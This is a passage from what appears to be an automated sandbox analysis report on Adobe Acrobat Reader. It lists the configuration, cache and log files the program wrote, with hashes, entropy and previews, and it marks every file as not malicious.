SHA-512:	9CF314F848D5F447F816B8B3280009349D514EC9F5EE7937772276DC96CA0FA0F51C7699CF99AE53BA7E33C31123C077C40FB618CA4707BEA972AA56C48FC06E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.336535089882351
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJfPmwrPeUkwRe9:YvXKXFCcOyYpW7cXFGH56Ukee9
MD5:	010E2BC0978A7568263039EEA2CFA5FA
SHA1:	B792B77E962D1B69A53B09D65C82CE6EDE188554
SHA-256:	6DE0B61CA431B6660CD0DF3D0D658AC4E1B2C689C173D4345D1B6021D09BBC2B
SHA-512:	A7BD358A415D1156F87DEC527EDA3975657B134E4710965C008A5E9F326F8653084587FB960A655B0539482D2B12EA0671C6110173C9D29F14E4E3493297946D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691670025008741
Encrypted:	false
SSDEEP:	24:Yv6X0VicXKpLgE9cQx8LennAvzBvkn0RCmK8czOCCS6S:YvQmKhgy6SAFv5Ah8cv/h
MD5:	E019976C8DFE9C92554740F7E76C2FD8
SHA1:	C2592B86A776193551D5A3ED308E89C039D9576B
SHA-256:	E7FB6807729CB9F7FEE9B2B0839EFB3889E55443DFC425CC2459EFEC64838CE6
SHA-512:	CA7036C8F9642BCBAF8C2318BD47857D0A87BC28E31D1B8CFC047784BEC6BD1C48F691F7228233FE11A091C2DAC32FA52B6045D633D5D3333F95DC15834D918A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282659224847184
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJf8dPeUkwRe9:YvXKXFCcOyYpW7cXFGU8Ukee9
MD5:	159D13594CB79A9BD4436B1677D21EF5
SHA1:	C8F21E5B23591304ACF5A6950176568C8B5ADBA3
SHA-256:	CE9B3F75908194E092D013B45EAF3644AC9FD9D9F60EF43D5CF1BC1E0A862E4F
SHA-512:	FF802E0BCEA17142663266A686E0FD256583F0E8804A9BE640F8237EAE094297984DDA3C49EA585D16EBD40865A546655BF4DD9C9D36EF543A43660E314350E2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.284101582309312
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJfQ1rPeUkwRe9:YvXKXFCcOyYpW7cXFGY16Ukee9
MD5:	ED780D120D1AB1B8C2696D6A4F33206C
SHA1:	45745CC9229FF492A12C88AC47B549B39CC493B4
SHA-256:	7C45B2C9D0298E45145F0E27EBC784441FE23C50A20F146091EFDA1DAC42A0B6
SHA-512:	9577F94EED0ADFC214C96C3299396365DFF4CBF4410CDEED60415F267C86B7DA5E5222264FA54ACEB1468D6EAFC120E8B17EBE06B63A1B2432A3EAC010FACC51
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3021204299064895
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJfFldPeUkwRe9:YvXKXFCcOyYpW7cXFGz8Ukee9
MD5:	CE170361F99050BA5A622D577CBDB03B
SHA1:	B46B3C9B14325D8910208CF6E64ED3DB1AF74511
SHA-256:	0B6A28C1FB76BA770A3F0B9CD1DD4040E87CB02AB717CB5A7346FD993EFE31A6
SHA-512:	431306FF2682B858CD2493456237C53E0BB9466A1CC5A91ABB0F7A3490C95EAB94A523C1FEA16C322E5E42D46DF5F05821064FA9D38850FCA67C0CB24C956DD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.309431815959778
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJfzdPeUkwRe9:YvXKXFCcOyYpW7cXFGb8Ukee9
MD5:	BF5BA5BEB48BE6B3C35FD6A61C8365D8
SHA1:	51D40B7FEBFE3B71CBF54E73345CE7F30AA467AC
SHA-256:	D367722ECFA17549F08205D6BA378FDE4247166339E100597EAEE644F1B707AD
SHA-512:	AB5C264E364B3986492A7AEFA1666072A1F8BDDBC6988343A5D3B67A0B53C97EF61C0B7AEAEFF0396F4577B2964AE4682F4C30605E53753B28B1C9D854FB778D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289869362090722
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJfYdPeUkwRe9:YvXKXFCcOyYpW7cXFGg8Ukee9
MD5:	52C7D0B21EEF317FDA02D835CC175E41
SHA1:	102EA1D480DC5366CC9B3A7D1EEFEB1C94A2D1A4
SHA-256:	BB0E4532D01AB15A9751A5D4E9A9C869F558E8A1B5FE604E548BF481B282D3E8
SHA-512:	BBE4EB816EC8F43DDE42DE60F1D9AADBACB2349EB051DE637F4F9D3717F17A3CB931AF72F099CE2A267223F108A7B3EA77193B688C7023070470EC1B66C63E07
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.275741378612376
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJf+dPeUkwRe9:YvXKXFCcOyYpW7cXFG28Ukee9
MD5:	66FCD5C94CDA71E4362575251EA56998
SHA1:	C32F568AE2B36BE4DD34A49310DA61CA8C6B5942
SHA-256:	9546AFA99908859B55ED5FCD78C1AB3237B02F68B0D5CE0140D755481107E196
SHA-512:	E5176FEC6D1BA5FEC5C57BD67B93AE3BD67E08A4A22B67A0DCDAD78932A70DADED120CC8E38439A3C42E870F1313D2221D5DC680D5FA1E1F7521A1059F7BA740
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.273486086141968
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJfbPtdPeUkwRe9:YvXKXFCcOyYpW7cXFGDV8Ukee9
MD5:	186CFC216BD51C2B1C418C2B873D8D73
SHA1:	0884B678BB23BDC0970189D463A5C7D4B0A7DE37
SHA-256:	299F7264F2986DF497C1DEFBA6165019F19D88427F1E2D3244038469E39A8F78
SHA-512:	16AE08BBF3B4FFAF0884F1AB8D5E9A78CAC984AF3AE0652F45C403CFAF9F97D9692EA5A0A31AC7908E9BBE8D18A12AF7CBFA31F9F2DD54D39AD529C76668D521
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.275019082268086
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJf21rPeUkwRe9:YvXKXFCcOyYpW7cXFG+16Ukee9
MD5:	188324F5B2C7F33AF8C40A3519CE7503
SHA1:	ABFF558BDC67D65484E92E3F6FFC40A0C124DB87
SHA-256:	013DA9539FF16E55F9DEB13D15B6A3353121E1528BEFEB404C1125F6FB303B0A
SHA-512:	71222AACF5B42AAA2C25A2FA2B034153B83CA438ADD086592292334FE538AE18BBB0FD67878568187FFB37C2D38FD05590411E39E6912F0EF4269BE0AC1DC91E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662796799324689
Encrypted:	false
SSDEEP:	24:Yv6X0VicXWamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS6S:YvQmYBgkDMUJUAh8cvMh
MD5:	BAFC18829C3F7CBE92D6A0996CAD7268
SHA1:	C1E1DBF97D72DD7B60D1AECCDC80B118573CD383
SHA-256:	E60204332E590EAB486A33053A7CFB4752FCAE26DAB2AFF1CD7CCCC0D0CE4BF5
SHA-512:	DAEAA6733B541E626BDE6CF85A6A701C17F3372E7BA2B8D09C7D8BD0224C764F541673BF6401E2F3EAD04D3DB3CBB59A803A641065766BF2ACB836E09448D23E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.249301732629922
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJfshHHrPeUkwRe9:YvXKXFCcOyYpW7cXFGUUUkee9
MD5:	EE58AF8BA3230ADCF8EAA41C5C214D42
SHA1:	AB75B008AD698E02C6288BC3D15473C12BEFB251
SHA-256:	1033646FB267DC3A92A5EF2F5D0FE104C3751AEA7524D841086C1B209A5E1784
SHA-512:	989D99592947926FA9B11E8997DE944C6EC354C492341972DB2E1C0142A51C5138FB0C593834026BD2E96C275E0B90181E7F788026151F5554500481CC9E5FA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.261060226331265
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFWzrOaWDO7+FIbRI6XVW7+0Y/XFUoAvJTqgFCrPeUkwRe9:YvXKXFCcOyYpW7cXFGTq16Ukee9
MD5:	66E9C78F2B1D3104F848E87B3299FA83
SHA1:	FC439EB785F3FFD57129A3B308C472ABB8F460F1
SHA-256:	4CDE296BD6AFEE0A726E9B3151E8131F8B0B0122B6E9A24C64BB401AFB5D549B
SHA-512:	D339EFF329F25EAC82B06A14BA1094167581A425259C7FB197726B3F5B4A96BBEA6D721B43F7915E021DCBE7F0120738188E70F3B90E5766C58C0D64BFBB6C91
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"23558d5a-3b51-4b57-9853-4f30e6d3fa57","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736682912255,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.13191353592038
Encrypted:	false
SSDEEP:	24:YDL1aZ8ayIUKp+E6REEg8mfjv2j0SMPXJHJWPS2e2LSMhClHLGDJcAkVUon10E5k:YGHp+E6WLvI6J5Ty8rGFcAGxnP99e
MD5:	F63CB3A2CB8064DFD33E270FAB7D9132
SHA1:	9B7BF8BD9A8F4632A3DB21CFB89BDCE536E1274F
SHA-256:	0327920297E1DA3A65AA637FDD0AA3242A0C62B57A2D9DF721DA069D19B5924A
SHA-512:	AB045ADBDBB7796ADF863C784C029578DAC5302C10659D5390EC976F133FE4F990101CD122FCD6C6EE40B308D0DB86F9665315F77A0E00099BD56B16EB6CF9DA
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"6a120971f123d16354398badb5a575e6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736507052000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c6530bac1277c58498d0a0c1304c0559","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736507052000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ab152dd26bb8df26574ffb3ea1e6174d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736507052000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b0902eac9309df646726be4d34e598a0","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736507052000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"39648d2221c622591dd27bbb32451af9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736507052000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"177ccc39d3e24b422a93b555ac86405b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9861957588887049
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp5P4zJwtNBwtNbRZ6bRZ4CPF:TVl2GL7ms6ggOVpuzutYtp6Pt
MD5:	94BABDF06F2A48B1C91F53265BC4DE75
SHA1:	0E3B967E93142B69532CC6ABE3F28935C0D7F592
SHA-256:	1840401E88B3807F1780F5F3A8DCC1BF34D135F2CECB9416ACBDF63D14B6D4A5
SHA-512:	60F89CD0EEE7AD52F8AFA423422EE3EB9D82EFD42A511FFFE9ADC508F5B22DB4432F04F37329680D4F6128B4D8E904BC90FBD8C198111D05E2E0571E4592AFE3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3392325509320624
Encrypted:	false
SSDEEP:	24:7+tUAD1RZKHs/Ds/Sp5PPzJwtNBwtNbRZ6bRZWf1RZKsnqLBx/XYKQvGJF7ursY:7MUGgOVpVzutYtp6PMtnqll2GL7msY
MD5:	B3ACAA7683DE76EB2CBDBFBBC6778E88
SHA1:	046DCE71F0A0832FD2D71FB41EAFDB4833A97DA4
SHA-256:	4A6408F1967B6ABA742756466ABB0CAD092444D8D60D9949F1BA3931D4C6CB64
SHA-512:	59BB091C45A38B6503761D80EADF677E3E12AC6AC460805FED33F0499881CC0E559F71C5278C110B315F82237FAF0BA6E4B079747615FD3DB01E9CF414273F6F
Malicious:	false
Preview:	.... .c.....l.;.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgl4gtAtJAxSqxa5BrOEF55tQVNYyu:6a6TZ44ADEl4gtKCxSqxMBoNK
MD5:	67A1F2223BC9B7AF67115A8ED919AD56
SHA1:	BF0212EE80BAD25F6E1B2421C326EDC9D482A891
SHA-256:	B7BEDFBD8F0F51003504E2D2CFB689DE9A202346C69CAE600ED111D1935C88E2
SHA-512:	23879A1E6F7CCA9C5C1DD91507AA444B2CD611ABBCF8F1BE55303598C68042B964B692B53F025638F9FF79A3C51872EC81E09265FA77D027A4E7CB264CCB7BE3
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSI32e20.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl4:Qw946cPbiOxDlbYnuRK+bl
MD5:	EB91A34D49D50C934CFEE0FF094D71FA
SHA1:	F35BDA975A3C28FE4FFE5E3E351875B1CF7F473F
SHA-256:	1975AD938ACC0C6C53472D57E73E1AB4866E23F603092AA7C17467BAE2D88876
SHA-512:	D9CC36E5FA2332F58AF3EB251379839E0CFB187E6A05A223C9159BC4E99A5C91FC214FD397F670C0953EBFADC6F16CA6C4CB2CA3E6113D4C899BD393797BCA5C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.6.:.0.4.:.1.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 06-04-09-011.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS 